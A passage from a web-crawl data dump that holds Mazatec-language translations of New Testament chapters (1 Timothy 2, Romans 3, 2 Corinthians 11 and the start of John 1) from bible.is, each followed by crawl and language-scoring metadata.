kjoa̱ xi ìsa̱ 'ñó mochjeén, k'oa̱á s'ín tìbìnè‑nò nga titsi'batjiò ngats'iì xi̱ta̱, ti̱nókjoa̱t'aà‑là Nainá, tìtsi'ba‑là Nainá, tjiì‑là kjo̱ndaà i̱t'aà ts'e̱ ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde. 2Mochjeén‑né nga kítsi'batjiá xi xi̱ta̱xá ítjòn títsa̱jna ko̱ ngats'iì xi kjo̱tíxoma tjíya tsja mé‑ne nga 'nchán ki̱tsa̱jna‑ná ti̱koa̱ ta̱fì ta̱fì si̱jchá yijo‑ná ti̱koa̱ jcha̱xkoán Nainá ko̱ jcha̱xkoán kjoa̱ xi ndaà tjín. 3K'e̱ nga k'oa̱s'ín s'e̱én ndaà tjín koa̱ ndaà sasén‑la̱ Nainá xi ochrjekátjì‑ná kjo̱'in. 4Nainá, jè xi mejèn‑la̱ nga ngats'iì xi̱ta̱ ki̱tjokàjiìn kjo̱'in ti̱koa̱ si̱jiìn‑la̱ kós'ín tjín xi kjoa̱kixi̱. 5Tà jngoò ma Nainá; ti̱koa̱á tà jngoò ma xi̱ta̱ xi chja̱tjì‑ná i̱t'aà ts'e̱ Nainá, jè xi̱ta̱ xi Jesucristo 'mì. 6K'e̱ nga kichìya na̱chrjein‑la̱ Nainá, Jesucristo kitsjaà kjo̱tjò yijo‑la̱ nga k'en mé‑ne nga ko̱chjítjì‑ne ngats'iì xi̱ta̱ nga ma ki̱tjokàjiìn kjo̱'in. K'oa̱á s'ín kis'iìn nga kisijiìn yije‑la̱ xi̱ta̱. 7'A̱án kjònga̱tsja xá jè nga 'a̱n tsibíxáya‑na Cristo nga kichjàya 'én ndaà‑la̱ ti̱koa̱ kokoòya‑la̱ jñà xi mìtsà xi̱ta̱ judío nga ko̱kjeiín‑la̱ i̱t'aà ts'e̱ Cristo ti̱koa̱ skoe̱ xi kjoa̱kixi̱. 'Én kixi̱í xi tìxan‑lè, mìtsà 'én ndiso. 8I̱t'aà ts'e̱ xi̱ta̱ x'i̱n, mejèn‑na k'e̱ nga chja̱t'aà‑la̱ Nainá ni̱ta̱ ñánda i̱'nde títsa̱jna, tsjeè kàtasíkítsa̱jna ini̱ma̱‑la̱ k'e̱ nga skímiìtje̱n‑la̱ tsja Nainá. Kì kjoa̱jti tíjiìn ini̱ma̱‑la̱, koa̱ kì nchikjaán‑kjoò‑jèn. 9Ti̱koa̱ jñà íchjín, jè nikje xi ndaà ok'ìn‑la̱ kàtakjá. Kì nikje chjí ókjá. Kì ta̱xki̱ sí'ñójno sko̱ ko̱ yijo‑la̱ tsojmì xi 'ñó chjí koni ki̱cha̱ oro ko̱ perla. Chiba chiba kàtíndaà yijo‑la̱ mé‑ne nga mì xi̱ta̱ skótsejèn‑jno‑ne. 10Ta̱ sa̱á xá xi ndaà tjín kàtas'ín koni s'ín ok'ìn‑la̱ jñà íchjín xi beèxkón Nainá. 11Jñà íchjín jyò kàtìtsa̱jna k'e̱ nga skóta'yà 'én‑la̱ Nainá; kàta'nchréñijon‑la̱ jè xi okóya. 12'A̱n, mìkiì tsjaà'nde nga jñà íchjín ko̱tìxoma‑la̱ xi xi̱ta̱ x'i̱n koa̱ ko̱kòya‑la̱. Íchjín, jyò kàtìtsa̱jna. 13Koií kjoa̱‑la̱ jè Nainá ítjòn tsibíndaà Adán, i̱skan tsibíndaà Eva. 14Mìtsà jè Adán xi kichona̱cha̱n‑la̱; jè Eva xi chjo̱ón‑la̱. K'oa̱á s'ín komà‑ne nga kisakò jé‑la̱. 15Ta̱nga, jñà íchjín, tsà si̱ìkitasòn koni s'ín mejèn‑la̱ Nainá nga s'e̱‑la̱ i̱xti, ki̱tjokàjiín kjo̱'in. Mochjeén‑né nga ndaà ko̱kjeiín‑la̱ i̱t'aà ts'e̱ Cristo, nga s'e̱‑la̱ kjoa̱tjòcha, nga tsjeè kítsa̱jnako̱ Nainá koa̱ ndaà si̱ìjchá yijo‑la̱.\n1 Timoteo 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/2","date":"2013-12-13T06:49:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164903523\/warc\/CC-MAIN-20131204134823-00012-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":334,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.305,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Tsà k'oa̱á s'ín tjín, ¿mé kjo̱ndaà xi ìsa̱ tse tjín‑la̱ nga xi̱ta̱ judío 'mì? Ko̱ ¿mé chjí‑la̱ nga tjít'aà chi̱ba̱‑la̱? 2Kjìn sko̱ya chjí‑la̱. Jè xi tíjna ítjòn, jè‑né nga jñà xi̱ta̱ judío kjònga̱tsja 'én‑la̱ Nainá. 3Jñà xi̱ta̱ judío, na̱s'ín tjín i'nga xi mìkiì síkitasòn 'én xi kjònga̱tsja, ¿a ko̱ma sikjatjìya‑la̱ kjoa̱kixi̱‑la̱ Nainá nga mìkiì ki̱tasòn koni s'ín kitsjaà tso'ba? 4Majìn, mìkiì ko̱ma. Nainá, xi̱ta̱ kixi̱‑né, na̱s'ín xi̱ta̱ ndiso ngats'iì xi̱ta̱ xi tjín i̱sò'nde; koni s'ín tíchja̱ xo̱jo̱n nga tsò: Mé‑ne nga kàta'ya‑la̱ nga kixi̱ kjoa̱ 'én xi nokjoì si̱kijne‑né k'e̱ nga yá xi ko̱hòngui‑lè. 5Tjín i'nga xi̱ta̱ xi tsò: K'e̱ nga ch'o 'nè, ìsa̱á ndaà 'ya‑la̱ kjoa̱kixi̱‑la̱ Nainá. Tsà k'oa̱s'ín tjín, ¿kó kixoán? ¿A kixón‑ná nga mì kjoa̱ kixi̱ tís'ín Nainá nga kjo̱'in tsjá‑ná? (Tsà ko̱s'ín kixoán, jngoò kjo̱hítsjeèn‑la̱ xi ta̱xki̱ xi̱ta̱ titsa̱nìkjeén.) 6Ta̱nga majìn, mì k'oa̱á s'ín tjín. Tsà mìtsà kixi̱ s'ín Nainá nga kjo̱'in tsjá‑ná, ¿kós'ín ko̱ma koi̱ìndaàjiìn‑la̱ xi̱ta̱ i̱sò'nde? 7Ti̱koa̱á tsà k'oa̱ ki̱tso̱ xi̱ta̱ koi: \"Ta̱nga tsà kjoa̱ndiso‑na̱ okó nga jè kjoa̱ kixi̱‑la̱ Nainá ìsa̱ jeya kíjna, ¿mé‑ne k'oa̱s'ín tísinè‑na nga xi̱ta̱ jé tíyatakòn‑na?\" 8Ti̱koa̱á‑ne ch'o s'e̱én mé‑ne nga kàtasakó‑ìsa‑ná kjo̱ndaà‑la̱ Nainá. Tjín xi̱ta̱ xi ko̱tsò nga k'oa̱á tjín 'én xi okoòya; jè xi mejèn‑la̱ nga ch'o síkíjna‑na. Jñà xi̱ta̱ xi ko̱tsò, ok'ín‑la̱ nga tjoé‑la̱ kjo̱'in xi Nainá tsjá. 9¿Kó s'ín nìkítsjeèn? Jñá xi xi̱ta̱ judío 'mì‑ná, ¿a ìsa̱á ndaà xi̱ta̱á koni jñà xi̱ta̱ xi kj'ei̱í? Majìn, jyeé k'oa̱á kixan‑nò, tà ngásòn jé titsa̱jnajñaá ngats'iaá xi xi̱ta̱ judío 'mì‑ná ko̱ xi ta̱xki̱ xi̱ta̱. 10Koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Ni̱jngoò xi̱ta̱ tjín xi xi̱ta̱ kixi̱, ni̱ tsà tà jngoò. 11Ni̱jngoò tjín xi machi̱ya‑la̱, ni̱jngoò tjín xi ótsji Nainá. 12Ngats'iì xi̱ta̱, sa̱á xìn ndi̱yá kiì; ngats'iì nìmée chjí‑la̱ kjoa̱ xi s'ín; ni̱jngoò xi ndaà s'ín, ni̱ tsà tà jngoò. 13Na̱xájta̱‑la̱, k'oa̱á kjoàn koni ngajo‑la̱ mik'en k'e̱ nga táx'a̱jto; ni̱je̱n‑la̱ nguì 'én ndisoó chja̱; 'én xi chja̱, k'oa̱á ngaya‑la̱ koni tsà xán‑la̱ ye̱. 14Chja̱jno‑la̱ xi̱ta̱ ko̱ nguì koi 'én chja̱ xi 'on ma‑la̱ ini̱ma̱‑ná. 15Mìkiì koña kjoa̱, ni̱to̱ón sík'en xi̱ta̱. 16Ni̱ta̱ ñánda nga fì, síhi̱ma̱ ko̱ síkjehesko xi̱ta̱ xi kj'ei̱í. 17Mìkiì beèxkon ndi̱yá ñánda tjín kjoa̱'nchán. 18Mìkiì tsakjón‑keè Nainá i̱t'aà ts'e̱ kjoa̱ xi s'ín. 19Jyeé 'yaá nga ngats'iì 'én xi tjít'aà kjo̱tíxoma ts'e̱ Moisés, jñá chja̱‑la̱ ngats'iì xi̱ta̱ xi ya̱ fìt'aà‑la̱, mé‑ne nga ngats'iì xi̱ta̱, mìkiì ko̱ma ki̱chja̱ nga ki̱nchako̱ yijo‑la̱ nga nguixko̱n Nainá; ngats'iì xi̱ta̱ xi tjín i̱sò'nde koi̱ìndaàjiìn‑la̱ Nainá nga jcha̱‑la̱ nga jé tjín‑la̱. 20Ni̱jngoò xi̱ta̱ xi kixi̱ kíjna nga nguixko̱n Nainá tà koi kjoa̱‑la̱ nga ndaà tísíkitasòn Kjo̱tíxoma ts'e̱ Moisés. Nga jè Kjo̱tíxoma, tà k'oa̱á s'ín mochjeén nga béno̱jmíya‑ná nga jé tjín‑ná. 21Ta̱nga i̱'ndei̱, Nainá okó‑ná kós'ín s'ín Nainá nga xi̱ta̱ kixi̱ beètakòn‑ná. Ko̱ mìtsà kjoa̱ ts'e̱ Kjo̱tíxoma nga bitasòn. Jñà xo̱jo̱n jchínga ts'e̱ kjo̱tíxoma‑la̱ Nainá ko̱ ts'e̱ xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá k'oa̱á ti̱s'ín béno̱jmíya‑ná, 22nga jñà xi̱ta̱ k'e̱ nga mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo, kixi̱í bìtsa̱jna nguixko̱n Nainá. K'oa̱á s'ín síko̱ yije kóho̱tjín xi mokjeiín‑la̱. Nga ngats'iì xi̱ta̱ ngásòn jé tjín‑la̱, 23nga ngásòn ótsji jé‑né; kjiìn títsa̱jnat'aàxìn‑la̱ Nainá ñánda nga jeya tíjna. 24Ta̱nga Nainá, nga ndaà xi̱ta̱, kitsjaà kjo̱tjò‑ná kjo̱ndaà‑la̱ mé‑ne nga kixi̱ ki̱tsa̱jnaá nguixko̱n jè. Jè Jesucristo tsibíchjítjì ngajo‑ná jé‑ná mé‑ne nga ki̱tsa̱jnandei̱í‑ná xi kjoa̱ ts'e̱ jé. 25Nainá kitsjaà ki'ndí‑la̱ koni jngoò kjo̱tjò xi faáxìn jé‑ná nga nguixko̱n Nainá k'e̱ nga mokjeiín‑ná i̱t'aà ts'e̱ Jesucristo, nga jè tsibíxteèn jní‑la̱ k'e̱ nga k'en. Nainá k'oa̱á s'ín okóya‑ná kós'ín tjín kjoa̱kixi̱‑la̱. Koií kjoa̱‑la̱ nga ngasa̱ kjòtseé, Nainá, tíkoña kjoa̱‑né, mìkiì ni̱to̱n kitsjaà‑la̱ kjo̱'in xi̱ta̱ koni s'ín ok'ìn‑la̱ jé xi tsohótsji. 26Ta̱nga i̱'ndei̱ tí'ya‑la̱ nga i̱t'aà ts'e̱ Jesucristo tísindaàjiìn‑la̱ xi̱ta̱ jñà kjoa̱‑la̱ jé xi kisìchroba mé‑ne nga kàta'ya‑la̱ Nainá nga xi̱ta̱ kixi̱‑né ko̱ ti̱koa̱á ti̱jè‑ne Nainá xi kixi̱ síkítsa̱jna xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús. 27¿A 'ngaá ko̱ma takoán nga kixi̱ titsa̱jnaá nguixko̱n Nainá? Majìn, mìkiì 'nga ko̱ma takoán. Nga mìtsà koi kjoa̱‑la̱ nga kjo̱tíxoma nìkitasoán. Jè‑né nga mokjeiín‑ná i̱t'aà ts'e̱ Jesús nga kixi̱ síkítsa̱jna‑ná Nainá. 28K'oa̱á tsòya‑ne ngats'iì kjoa̱ koi nga Nainá síkixi̱ xi̱ta̱ k'e̱ nga mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús; mìtsà koi nga kjo̱tíxoma ts'e̱ Moisés síkitasòn. 29¿A tà ts'e̱é xi xi̱ta̱ judío Nainá? ¿A mìtsà ti̱koa̱ ts'e̱ xi ta̱xki̱ xi̱ta̱? Kjoa̱ kixi̱‑né, ti̱koa̱á ts'e̱‑né xi ta̱xki̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío. 30Nainá, tà jngoò ma xi kixi̱ síkítsa̱jna ngats'iì xi̱ta̱ k'e̱ nga mokjeiín‑la̱ i̱t'aà ts'e̱ Jesús. Ngásòn síko̱ jñà xi̱ta̱ judío xi tjít'aà chi̱ba̱‑la̱ ko̱ xi ta̱xki̱ xi̱ta̱ xi mìkiì tjít'aà chi̱ba̱‑la̱. 31Jè kjoa̱ nga mokjeiín‑ná i̱t'aà ts'e̱ Jesucristo, ¿a tíchahingui‑né kjoa̱ ts'e̱ Kjo̱tíxoma? Majìn, mìtsà tíchahingui; ta̱ sa̱á tímajngoò‑ne koni jè xá xi tjín‑la̱.\nRomanos 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/3","date":"2013-12-12T13:44:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164587361\/warc\/CC-MAIN-20131204134307-00042-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":742,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.342,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1T'e̱en kjo̱ndaà, ti̱ná'ya jngoò tjò‑ná; k'oa̱á s'ín tìchjàko̱‑nò koni jngoò xi̱ta̱ xi mì ndaà tíjna kjo̱hítsjeèn‑la̱. Kàtas'e‑nò kjoa̱tsejta. 2Koni s'ín makájno‑la̱ Nainá, 'a̱n, k'oa̱á ti̱s'ín makájno‑na i̱t'aà tsa̱jòn nga mì kj'ei̱í xi̱ta̱ ko̱nguít'aà‑là. Ta jngoó x'i̱n tsibìndaàjiìn‑ko̱‑nò nga siìnga̱tsja‑nò, jè Cristo. 'A̱n mejèn‑na nga tsjeè siìnga̱tsja‑nò Cristo koni jngoò tsòti xo̱ngó. 3Ta̱nga tsakjoòn‑ná tsà k'oa̱s'ín ko̱mat'ioòn koni komàt'in Eva nga kiskoòna̱cha̱n‑la̱ jè ye̱, tsà ya̱ ki̱ts'ón‑jiìn kjo̱hítsjeèn‑nò nga ki̱nchat'aàxìn‑lá jè kjoa̱tjòcha kixi̱ xi tjín‑nò ko̱ Cristo nga mì ti̱ tíjngoò‑ne takòn nga onguít'aà‑là. 4Nga biì'nde‑là nga kj'ei̱í xi̱ta̱ bijchókon‑nò xi kj'ei̱í tsò 'én xi okóya‑nò i̱t'aà ts'e̱ Jesús koni tsò 'én kixi̱ xi ji̱n bèno̱jmí‑nòje̱n, ko̱ mokjeiín‑nò nga chjoétjò jngoò ini̱ma̱ xi kj'ei̱í xi mìtsà jè Ini̱ma̱ Tsjeè‑la̱ Nainá xi jye kichjoétjò. Ti̱koa̱, mokjeiín‑nò nga kj'ei̱í tsò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo xi béno̱jmí‑nò koni tsò xi kòkjeiín‑nò nga sa̱ ítjòn. Nga ndaà sasén‑nò nga jñà na'yà‑là xi̱ta̱ koi. 5'A̱n, mìtsà ìsa̱ nangui tìjna̱‑la̱ jñà xi̱ta̱ xi 'mì‑là jñò nga ìsa̱á 'nga títsa̱jna‑la̱ jñà xi̱ta̱ xi tsibíxáya‑la̱ Cristo. 6'A̱n, na̱s'ín mìkiì ndaà ma‑na chjà, ni̱mé kjo̱hítsjeèn chijat'aà‑na xi i̱t'aà ts'e̱ 'én‑la̱ Nainá. Jñò, jyeé ndaà 'yaà, 'a̱n, ni̱ta̱ ñánda nga tìjna̱a, k'oa̱á s'ín tsakoò‑nò. 7¿A ch'oó kis'iaàn nga tsakoòya‑nò 'én ndaà‑la̱ Nainá nga ni̱mé kisìkíchjí‑nò? Nangui tsohóti̱jnako̱‑nò skanda kisìhi̱ma̱‑ná yijo‑na̱ mé‑ne jñò ìsa̱ 'nga kisìkítsa̱jna‑nò. 8Jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi xìn i̱'nde‑la̱ kisìchját'aà‑na nga tsachrjekàjno‑la̱ to̱n mé‑ne komà kisìxáko̱‑nò nga tsibeno̱jmí‑nò 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. 9K'e̱ nga tsohóti̱jnako̱‑nò, ni̱yá xi kisìjti‑la̱ mé xi kichijàt'aà‑na. K'e̱ nga mé tsojmì xi kjòchjeén‑na, jñà xi̱ta̱ 'ndseé xi j'iì‑ne nangui Macedonia kitsjaà‑na. Nga majìn‑na nga chjá ko̱ma‑nò. Na̱chrjein xi fì‑ìsa, tákó k'oa̱á s'iaàn. 10Nguì ko̱ó kjoa̱kixi̱‑la̱ Cristo koni tìxan‑nò nga mì yá xi ko̱tichjoà‑na kóho̱kji nangui Acaya nga ndaà síkíjna yijo‑na̱ kjoa̱ xi tìs'iaàn nga mì to̱n kisìjé‑nò. 11¿Mé‑ne k'oa̱ xan‑na nga chjà? ¿A koi‑né nga mìkiì matsjake̱‑nò? Tíbeè Nainá, 'a̱n 'ñó matsjake̱‑nò. 12Ta̱nga tákó k'oa̱á s'iaàn koni kisìko̱‑nò nga sa̱ ítjòn nga ni̱mé kisìjé‑nò mé‑ne nga mìkiì tsjaà'nde‑la̱ nga ki̱tso̱ jñà xi̱ta̱ xi mejèn‑la̱ nga jeya síkítsa̱jna yijo‑la̱ nga k'oa̱á ti̱s'ín nchis'ín koni ngaje̱n. 13Xi̱ta̱ koi, xi̱ta̱ ndiso‑né. Mìtsà kixi̱ kjoa̱ nga xi̱ta̱ xi jè Cristo tsibíxáya‑la̱. Ta kona̱cha̱n‑né nga síkjatjìya‑la̱ yijo‑la̱ koni tsà jè Cristo tsibíxáya‑la̱. 14Kjoa̱ koi, mìtsà kjoa̱ xi̱tse̱; ti̱jè‑ne xi̱ta̱ nei̱í síkjatjìya‑la̱ yijo‑la̱ koni jngoò àkja̱le̱‑la̱ Nainá xi ote kji. 15Mìtsà xkón tjín, xó k'oa̱á ko̱ma‑ne nga jñà xi̱ta̱ xi síxá‑la̱ jè xi̱ta̱ nei̱í, k'oa̱á s'ín síkjatjìya‑la̱ yijo‑la̱ koni tsà xi̱ta̱ xi béno̱jmí 'én kixi̱‑la̱ Nainá. Xi̱ta̱ koi k'e̱ nga kjoe̱het'aà na̱chrjein‑la̱, k'oa̱á s'ín ko̱mat'in koni s'ín tjín kjoa̱ ch'o xi nchis'ín. 16Ìjngoò k'a k'oa̱ tìxan‑nò, kì k'oa̱á s'ín nìkítsjeèn nga mìkiì ndaà tjín kjo̱hítsjeèn‑na̱. Tsà k'oa̱s'ín sìkítsjeèn, tjiì'nde‑ná nga 'a̱n, k'oa̱ ti̱s'ín ndaà síkíjna i̱tsé yijo‑na̱ koni s'ín xi̱ta̱ xi i'nga xi mì ndaà tjín kjo̱hítsjeèn‑la̱. 17K'e̱ nga ko̱s'ín tìchjà, mìtsà k'oa̱s'ín chjà koni s'ín sasén‑la̱ Na̱'èn‑ná, k'oa̱á s'ín tìchjà koni jngoò xi̱ta̱ xi mì ndaà tjín kjo̱hítsjeèn‑la̱ nga ti̱'a̱n ndaà síkíjna‑na yijo‑na̱. 18Koni s'ín kjìn ma xi̱ta̱ xi ti̱jñà ndaà síkítsa̱jna‑ne yijo‑la̱ i̱t'aà ts'e̱ kjoa̱ xi s'ín, 'a̱n k'oa̱á ti̱s'ín mejèn‑na nga ti̱'a̱n ndaà síkíjna‑na yijo‑na̱. 19Jñò, bixón‑nó nga xi̱ta̱ chji̱ne̱‑nò, ta̱nga, ¿mé‑ne biì'nde‑là jñà xi̱ta̱ xi mì ndaà tsò kjo̱hítsjeèn‑la̱? 20Jñò, nìkjeiín‑là xi̱ta̱ xi kjo̱'ñó s'ín‑nò nga chi̱'nda 'nè‑là, xi̱ta̱ xi ma‑la̱ síkjehejno‑nò tsojmì xi tjín‑nò, xi̱ta̱ xi jñò beètoòn‑nò, xi̱ta̱ xi ochrjekàngui‑nò, koa̱ nìkjeiín‑là xi̱ta̱ xi síjts'iìn‑'a i̱sén‑nò. 21Jñò, ¿kó s'ín nìkítsjeèn? ¿A masobà‑na nga indaàkjoa̱ kinìko̱‑nòje̱n nga mì k'oa̱á s'ín kinìko̱‑nòje̱n koni kisìko̱‑nò jñà xi̱ta̱ xi i'nga? Tsà tjín i'nga xi 'ñó ts'e̱n s'ín nga chja̱, 'a̱n ti̱koa̱ ts'e̱én tìs'iaàn koni s'ín 'ñó tìchjàko̱‑nò. Ta̱nga ta k'oa̱á s'ín tìchjà koni tsà mìkiì ndaà tjín kjo̱hítsjeèn‑na̱. 22Jñà xi̱ta̱ koi, tsà kixi̱ kjoa̱ nga xi̱ta̱ hebreo‑né, 'a̱n, ti̱koa̱á xi̱ta̱ hebreo‑ná. Tsà xi̱ta̱ Israel‑né, 'a̱n, ti̱koa̱á xi̱ta̱ Israel‑ná. Tsà tje̱‑la̱ Abraham‑né, 'a̱n, ti̱koa̱á tje̱‑la̱ Abraham‑ná. 23¿A chi̱'nda‑la̱ Cristo‑né? 'A̱n, ìsa̱á ndaà síxá‑la̱ Cristo. (K'e̱ nga ko̱s'ín chjà, k'oa̱á ngaya‑la̱ koni jngoò xi̱ta̱ xi mìkiì ndaà tjín kjo̱hítsjeèn‑la̱.) 'A̱n ìsa̱á 'ñó síxá‑la̱. Ìsa̱á ko̱ kjìn k'a óti̱jnaya nda̱yá, ìsa̱ ko̱ kjìn k'a síki'on‑na̱ xi̱ta̱, ti̱koa̱ ko̱ kjìn k'a nga jye kjo̱meè sík'en‑na̱ xi̱ta̱. 24Jñà xi̱ta̱ judío, 'òn k'a kitsjaà‑na kjo̱'in nga tsakajá‑na xo̱x'ín xi s'e̱‑la̱ kohòyo̱ xi kaàn chrj'oòn ñijòn tjín‑ne nga jngoò ìjngoò k'a. 25Jàn k'a kits'iìn‑na kjo̱'in nga tsajá‑na xka̱jnchra̱ jñà xi̱ta̱; jngoò k'a tsibínè‑na nda̱jo̱ xi̱ta̱ nga mejèn‑la̱ si̱ìk'en‑na; jàn k'a kiskaàjiìn‑ndáko̱‑na chitso ya̱ i̱jiìn ndáchikon; jngoò na̱chrjein ko̱ jngoò ni̱tje̱n tsohóti̱jnajñaà i̱jiìn ndáchikon. 26Ni̱ta̱ ñánda nga ojmeè, ta̱ kjo̱xkón tjín kjit'aà‑la̱. Tjín kjo̱xkón ya̱ xa̱jngá nandá ñánda nga otoa. Tjín kjo̱xkón ts'e̱ xi̱ta̱ chijé. Tjín kjo̱xkón i̱t'aà ts'e̱ xi̱ta̱ xinguia̱a judío koa̱ tjín i̱t'aà ts'e̱ xi̱ta̱ xi mìtsà xi̱ta̱ judío. Tjín kjo̱xkón ya̱ i̱jiìn na̱xa̱ndá, koa̱ ya̱ i̱'nde i̱t'aà xìn ñánda tsjìn xi̱ta̱. Tjín kjo̱xkón ya̱ i̱jiìn ndáchikon, koa̱ ya̱ i̱jiìn‑la̱ xi̱ta̱ xi tsò nga xi̱ta̱‑la̱ Cristo ma ta̱nga mìtsà kixi̱ kjoa̱. 27Kjìn jchán xá kisinè‑na xi 'ñó tjín, sà k'oa̱á skanda mìkiì ójna̱fè. Kisìkjiaán kjinchrá. Sà k'oa̱á tsjìn‑na nandá xi ma 'yò, sà k'oa̱á skanda mìkiì tsoókje̱en, kisìkjiaán 'nchán nga tsjìn‑na nikje xi ójna̱kjá. 28Mìtsà tà jñà kjoa̱ koi xi komàt'ian. Tjín ìsa̱ xi kj'ei̱í xi ìsa̱ 'ñó tjín. Na̱chrjein nchijòn makájno‑na kjoa̱ xi tímat'in kóho̱tjín na̱xa̱ndá‑la̱ Cristo xi 'a̱n sìkinda̱. 29Tsà yá 'ndseé xi ma indaàjiìn, ti̱koa̱á 'a̱n, ma indaàjiìn‑ná. Tsà yá xi mejèn‑la̱ ótsji jé‑la̱ jngoò xi̱ta̱ xi kj'ei̱í, 'a̱n ma jtike̱‑ná. 30Tsà mochjeén nga ti̱ yijo‑na̱ ndaà síkíjna‑na, jè ndaà síkíjna yijo‑na̱ i̱t'aà ts'e̱ kjoa̱ xi mahindaàjñaà. 31Jè Nainá xi Na̱'èn‑la̱ Jesucristo xi otíxoma‑ná, jeya kàtìjna ni̱ta̱ kjé‑ne, tíbeè‑ne nga 'én kixi̱í xi tìchjà. 32K'e̱ nga tsohóti̱jna ján na̱xa̱ndá Damasco, jè xi̱ta̱ xi gobernador tíjna nga jè kitsjaà‑la̱ xá jè xi̱ta̱xá ítjòn xi 'mì Aretas, kitsjaà‑la̱ o̱kixi̱ nga kisìkinda̱ xotjoa̱‑la̱ na̱xa̱ndá nga mejèn‑la̱ tsobà'ñó‑na. 33Ta̱nga jñà xi̱ta̱ kisìchját'aà‑na nga kisìkíjnaya‑na ni̱si̱yá, i̱kjoàn ya̱ tsachrje‑na ñánda ti̱x'á chrjó nda̱jo̱ xi tjíndiì‑la̱ na̱xa̱ndá nga kiskinìjen‑t'aà‑na skanda i̱t'aà nangui. K'oa̱á s'ín komà‑ne nga mìkiì komà kitsobà'ñó‑na.\n2 Corintios 11","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/11","date":"2013-12-11T21:24:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164047228\/warc\/CC-MAIN-20131204133407-00013-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":979,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.304,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ti̱'sa̱ tjà'tsin‑la̱ kjoa̱, jè 'Én, ta̱'koa̱ tíjna‑ní, ko̱ ya̱á tíjnako̱ Nainá. Jè ra 'Én, jè‑ní ra Nainá. 2Ko̱ ya̱á tíjnako̱ Nainá skanda ti̱'sa̱‑ni tjà'tsin‑la̱ kjoa̱. 3Ko̱ jè isìchjeén Nainá nga tsikínda nga'tsì tsajmì ra tjín; ni̱mé tsajmì ra tjín ra mì a̱'ta 'tse̱ isinda‑ni. 4A̱'ta 'tse̱é‑ní nga tjín Kjo̱binachon. Jè Kjo̱binachon, jè‑ní jè Ni'í ra síhisen‑la̱ nga'tsì xi̱ta̱. 5Jè Ni'í ra̱kìi̱, ya̱á síhisen ñánda̱ nga jñò chon, ko̱ jè kjoa̱jñò mì kì ma síkijne‑la̱ nga síkji'tso. 6Tsikijnaá jngo xi̱ta̱ ra Juan tsi'kìn ra Nainá isìkasén. 7Jè 'ji tsjá 'én a̱'ta 'tse̱ Ni'í ra síhisen, mé‑nì nga'tsì xi̱ta̱ ko̱kjiín‑la̱ koni 'sín 'ke̱èna̱jmíya ra jè. 8Jè Juan, mì tsa jè‑jìn Ni'í ra síhisen, ta 'én ra 'ji tsjá ra jè, a̱'ta 'tse̱ Ni'í ra síhisen‑la̱ xi̱ta̱. 9Jè ra ngi Ni'í ra ma‑la̱ síhisen‑la̱ xi̱ta̱, i̱í 'ji i̱sà'nde ra̱kìi̱. 10I̱í tsikijna i̱sà'nde, tanga jñà xi̱ta̱ i̱sà'nde mì kì kijtsexkon ni̱'sín takó jè tsikínda i̱sà'nde. 11Ya̱á 'ji ya̱ a̱jin‑la̱ xi̱ta̱‑la̱ tanga jñà xi̱ta̱‑la̱ mì kì iskábétjò. 12Tanga nga'tsì xi̱ta̱ ra iskábétjò ko̱ ti̱'koa̱ kjokjiín‑la̱ jñà 'én ra kiìchja̱, kitsjá‑la̱ kjo̱hixi̱ nga i'ndí‑la̱ Nainá kjomà, 13tanga mì tsa ki‑ni nga jní kitsin‑jín, ko̱ mì tsa ki‑ni nga a̱'ta 'tse̱ xi̱ta̱ kitsin‑ni, kií‑ní nga a̱'ta 'tse̱ Nainá kitsin‑ni. 14Ko̱ jè ra 'Én, xi̱ta̱á kjomà; ko̱ i̱í tsikijnajin‑naji̱n. Kijcha‑náji̱n jè kjoa̱jeya‑la̱, jè kjoa̱jeya ra kitsjà‑la̱ Nainá koni ra ta jè ta̱jngo‑ni I'ndí‑la̱, ko̱ 'ñó ki'se‑la̱ ra kjo̱nda ko̱ kjo̱hixi̱. 15Juan kitsjá 'én ra a̱'ta 'tse̱ nga kitsò: ―A̱'ta 'tse̱é xi̱ta̱ ra̱kìi̱ 'kia̱ nga ko̱'sín kíxin‑no: \"Jè ra 'sa̱ nchrabátji̱ngi‑na, jè‑ní ra tíjna ítjòn‑na, nga̱ isa̱á kjotseé tíjna‑ni koni 